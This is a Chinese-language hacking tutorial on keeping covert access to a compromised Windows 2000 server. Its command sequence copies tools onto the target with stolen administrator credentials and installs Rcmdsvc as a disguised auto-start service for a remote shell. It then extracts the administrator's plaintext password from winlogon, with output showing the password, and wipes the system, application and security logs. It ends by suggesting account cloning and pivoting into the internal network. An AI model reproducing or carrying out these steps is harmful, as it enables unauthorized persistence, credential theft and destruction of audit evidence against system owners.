在阅读本文之前,假设你已经成功入侵了某台Windows2000主机并取得了管理员帐号。大多数时候我们入侵某台主机的目的并不是为了直接破坏,可以在该主机上留下后门以便自己以后可以方便的“使用”该机。
目前一般情况下,入侵Windows2000后使用最多的后门是RemoteNc了,但该工具有一很大的缺点,容易被杀毒软件查出,而且如果用Fport或Active Ports等软件也可以看到它监听的端口,这很容易让管理员发现。
对于Windows2000下的后门推荐使用Windows2000 Resoruce Kit中自带的一个小工具Rcmdsvc.exe和Rcmd.exe,这是微软自己出的一个用来在命令行下远程管理主机的小工具。它有以下优点: 1、不会被杀毒软件认为是病毒或后门程序,毕竟这是微软自己出的东西。 2、非常隐蔽,它开的端口是445,和Windows2000系统的Microsoft-DS服务开的端口一样,用Fport或Active Ports都不能列出它正在监听的端口。
下面我们来看一次实际的操作,当然进行以下操作之前假设已经具有以下条件: 1、你已经取得了xxx.xxx.xxx.xxx的管理员权限; 2、该机启用了Tcp/Ip上的Netbios支持; 3、在IP安全策略中对139和445端口未进行屏蔽; 4、安全策略中对匿名连接的额外限制采用的是默认的安全选项。
如果后三条中有某条不能满足,那么会让我们的后续操作有些困难,不过仍然有其它办法可以继续,如果大家感兴趣我会在以后的文章中说明。
c:\>net use z: \\xxx.xxx.xxx.xxx "password" /user:"administrator"
c:\>copy rcmdsvc.exe z:\winnt\system32
c:\>copy pulist.exe z:\winnt\system32
c:\>copy findpass.exe z:\winnt\system32
c:\>copy kill.exe z:\winnt\system32
c:\>copy clearel.exe z:\winnt\system32
c:\>copy clealog.cmd z:\winnt\system32
c:\>copy fpipe.exe z:\winnt\system32
c:\>copy msvcp60.dll z:\winnt\system32 |
拷贝一些常用的工具到对方服务器上,在这里对这些工具做一个简要说明:
Rcmdsvc.exe Windows2000 Resource Kit中的远程命令行服务器端程序;
Pulist.exe 可以列出系统进程和该进程所属用户的工具;
Findpass.exe 可以在winlogon.exe进程中查找指定用户名的名文口令的工具;
Kill.exe 可以用pdi或进程名杀掉指定进程的工具;
Clearel.exe 清除系统、应用程序、安全日志的工具;
Clealog.cmd 同上;
Fpipe.exe 可以在命令行下做端口重定向的工具;
Msvcp60.dll vc的运行库,这个东西其实不是必须的,但为了防止在某些缺少Msvcp60.dll的机上在运行Clealog清除日志时对方的机上会突然弹出一个对话框说缺少Msvcp60.dll的尴尬情况,最好把它一起复制过去。
c:\>sc \\xxx.xxx.xxx.xxx create "Remote Command Service" binpath=
c:\winnt\system32\rcmdsvc.exe type= own start= auto |
在这里我们用sc在目标机xxx.xxx.xxx.xxx上创建了一个名为Remote Command Service的服务,启动方式为自动。当然为了隐蔽,你最好把“Remote Command Service”这个服务名改成其它比较类似系统服务的名字,毕竟管理员不可能看着一个突然多出来的Remote Command而坐视不管,而且也显的你太嚣张了。
PS:sc.exe是Windows2000 Resource Kit中一个功能非常强大的对服务进行控制的工具,详细的使用方法可以参考本站的《SC使用完全指南》。
c:\>sc \\xxx.xxx.xxx.xxx start "Remote Command Service"
SERVICE_NAME: rpc support services
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,
IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
/*在这里我们用sc启动刚才创建的Remote Command Service服务。*/
/*下面连上对方服务器*/
c:\>rcmd
Enter Server Name : xxx.xxx.xxx.xxx
Connect to \\xxx.xxx.xxx.xxx
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\Documents and Settings\Default User.WINNT>pulist
Process PID User
Idle 0
System 8
smss.exe 168 NT AUTHORITY\SYSTEM
csrss.exe 192 NT AUTHORITY\SYSTEM
winlogon.exe 212 NT AUTHORITY\SYSTEM
services.exe 240 NT AUTHORITY\SYSTEM
lsass.exe 252 NT AUTHORITY\SYSTEM
svchost.exe 408 NT AUTHORITY\SYSTEM
spoolsv.exe 436 NT AUTHORITY\SYSTEM
msdtc.exe 464 NT AUTHORITY\SYSTEM
svchost.exe 596 NT AUTHORITY\SYSTEM
llssrv.exe 624 NT AUTHORITY\SYSTEM
regsvc.exe 676 NT AUTHORITY\SYSTEM
rpcsvc.exe 692 NT AUTHORITY\SYSTEM
mstask.exe 716 NT AUTHORITY\SYSTEM
LSESS.EXE 792 NT AUTHORITY\SYSTEM
tlntsvr.exe 832 NT AUTHORITY\SYSTEM
VrUpSvr.exe 956 NT AUTHORITY\SYSTEM
winmgmt.exe 968 NT AUTHORITY\SYSTEM
dns.exe 980 NT AUTHORITY\SYSTEM
dfssvc.exe 1064 NT AUTHORITY\SYSTEM
POP3S.exe 1100 NT AUTHORITY\SYSTEM
smtpds.exe 1120 NT AUTHORITY\SYSTEM
svchost.exe 1384 NT AUTHORITY\SYSTEM
dllhost.exe 1316 NT AUTHORITY\SYSTEM
internat.exe 1308 SERVER\Administrator
conime.exe 1680 SERVER\Administrator
VRMONSVC.EXE 872 NT AUTHORITY\SYSTEM
inetinfo.exe 1456 NT AUTHORITY\SYSTEM
explorer.exe 1548 SERVER\Administrator
cmd.exe 1712 SERVER\Guest
pulist.exe 532 SERVER\Guest
/*我们可以看到winlogon.exe的进程号是212*/
C:\Documents and Settings\Default User.WINNT>findpass server
administrator 212
To Find Password in the Winlogon process
Usage: fidp DomainName UserName PID-of-WinLogon
The debug privilege has been added to PasswordReminder.
The WinLogon process id is 214 (0x000000d6).
To find server\administrator password in process 214 ...
The encoded password is found at 0x01a00800 and has a length of 3.
The logon information is: server/administrator/Tgrh87fd.
The hash byte is: 0xb8.
/*在winlogon中查找administrator的名文口令*/
C:\Documents and Settings\Default User.WINNT>clealog
clealog done
/*清除日志记录*/
C:\Documents and Settings\Default User.WINNT> |
到这里我们已经看到Administrator的密码是Tgrh87fd。
至此我们拿到了管理员的密码并安放了一个Rcmdsvc的后门,当然你还可以接着做许多事。比如利用Adam发现的Bug再克隆一个管理员账号。或者用SC把对方的Tlntsvr服务启起来。不过后者比较容易被发现,不推荐。如果你对他的内网的某台机感兴趣而且该机也有漏洞,可以用Fpipe做端口重定向后为下一步的进攻做准备。
【责任编辑 徐洋】
|